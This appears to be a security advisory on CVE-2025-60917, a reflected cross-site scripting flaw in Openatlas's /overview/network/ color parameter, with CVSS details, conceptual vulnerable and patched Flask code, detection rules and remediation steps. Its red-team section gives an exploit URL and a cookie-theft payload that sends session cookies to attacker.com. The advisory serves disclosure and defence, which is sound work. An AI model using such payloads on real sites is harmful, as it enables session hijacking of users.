CVE-2025-60917

Executive Summary

CVE-2025-60917 is a reflected cross-site scripting (XSS) vulnerability discovered in the Austrian Archaeological Institute's Openatlas application, versions prior to 8.12.0. The flaw resides in the /overview/network/ endpoint, where the color parameter is not properly sanitized before being reflected back to the user's browser. An attacker can craft a malicious URL containing a JavaScript payload in the color parameter. When a victim clicks on this link, the payload executes in the context of the victim's session, potentially allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the page.

This vulnerability is classified as a reflected XSS (CWE-79) and has a CVSS v3.1 base score of 6.1 (Medium). The attack vector is network-based, requires user interaction (clicking a link), and has low complexity. The impact is limited to confidentiality and integrity of user data, with no impact on availability.

Supply Chain & Package Security

Openatlas is a Python-based web application. The vulnerability is not in a third-party package but in the application's own input handling logic. However, organizations using Openatlas should verify their deployment does not rely on outdated or vulnerable dependencies that could be chained with this XSS for a more severe attack.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for session hijacking make this a significant risk for any organization using Openatlas.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The /overview/network/ endpoint in Openatlas accepts a color parameter via HTTP GET request. The application then reflects the value of this parameter directly into the HTML response without proper encoding or sanitization.

Attack Flow:

1. An attacker crafts a malicious URL: https://target-openatlas-instance.com/overview/network/?color=<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via email, social media, or a phishing campaign).
3. The victim, who is authenticated to the Openatlas application, clicks the link.
4. The victim's browser sends a request to the server.
5. The server processes the request and includes the unsanitized color parameter value in the HTTP response.
6. The victim's browser renders the response, executing the attacker's JavaScript payload.
7. The payload can then steal session cookies, redirect the user, or perform actions on behalf of the victim.

Root Cause: The lack of output encoding for the color parameter. The application should have used context-appropriate encoding (e.g., HTML entity encoding) before inserting user-supplied data into the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - Python/Flask):

@app.route('/overview/network/')
def network_overview():
    color = request.args.get('color', 'default')
    return f'<div style="color: {color}">Network Overview</div>'

Patched Code (Conceptual - Python/Flask):

from markupsafe import escape

@app.route('/overview/network/')
def network_overview():
    color = request.args.get('color', 'default')
    safe_color = escape(color)
    return f'<div style="color: {safe_color}">Network Overview</div>'

The patched version uses escape() (or similar HTML escaping function) to convert special characters like <, >, ", ', and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Openatlas instance (version < 8.12.0).
• A victim user who is logged into the application.

Exploit Payload: A simple proof-of-concept payload to demonstrate the vulnerability:

<script>alert('XSS')</script>

Full Exploit URL:

http://target-openatlas.com/overview/network/?color=<script>alert('XSS')</script>

Advanced Payload (Session Cookie Theft):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

The attacker would set up a listener on attacker.com to capture the cookie.

Lab Setup:

1. Deploy a vulnerable version of Openatlas (e.g., v8.11.0) in a Docker container.
2. Access the application and log in as a test user.
3. Craft the exploit URL and open it in a browser.
4. Observe the JavaScript execution (e.g., an alert box or a request to the attacker's server).

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /overview/network/ with suspicious color parameters containing <script>, onerror=, javascript:, or other XSS indicators.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the color parameter.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS even if a payload is injected.

Response:

1. Immediately isolate the affected application server.
2. Review web server logs to identify potentially compromised user sessions.
3. Force password resets for all users who may have been affected.
4. Apply the patch by upgrading to Openatlas v8.12.0 or later.
5. Conduct a thorough security review of the application for similar vulnerabilities.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /overview/network/ with a color parameter containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
  • Outbound connections from the victim's browser to an attacker-controlled domain (e.g., for cookie exfiltration).
• Host IOCs:
  • Unusual JavaScript execution in the browser context of the Openatlas application.
  • Presence of unexpected cookies or modified session tokens.
• Log IOCs:
  • Web server access logs showing requests with encoded or raw XSS payloads in the color parameter.
  • Error logs may show failed attempts to execute malicious scripts.

Detection Engineering

YARA Rule

rule Detect_Openatlas_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-60917 in Openatlas"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60917"
    strings:
        $xss_payload_1 = /color=.*<script>/ nocase
        $xss_payload_2 = /color=.*%3Cscript%3E/ nocase
        $xss_payload_3 = /color=.*onerror=/ nocase
        $xss_payload_4 = /color=.*javascript:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Openatlas Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-60917 by injecting XSS payloads into the color parameter of the /overview/network/ endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/overview/network/'
        cs-uri-query|contains|all:
            - 'color='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of color names containing '<' or '>' (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60917 Openatlas Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/overview/network/"; http_uri; content:"color="; http_uri; pcre:"/color=.*(<script|%3Cscript|onerror|javascript)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Openatlas: The most effective remediation is to upgrade to version 8.12.0 or later, where the color parameter is properly sanitized.
2. Apply Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns in the color parameter.
3. Input Validation: Implement server-side validation to ensure the color parameter only contains expected values (e.g., hex color codes or predefined color names).

Long-Term Mitigations:

1. Content Security Policy (CSP): Implement a strict CSP header that disallows inline scripts (script-src 'self'). This would prevent the execution of injected JavaScript even if the XSS vulnerability is exploited.
2. Output Encoding: Ensure all user-supplied data is properly encoded before being reflected in HTML responses. Use context-specific encoding (HTML, JavaScript, CSS, URL).
3. Regular Security Audits: Conduct regular code reviews and penetration testing to identify and remediate similar vulnerabilities.
4. Security Training: Train developers on secure coding practices, particularly regarding XSS prevention.

Valters IT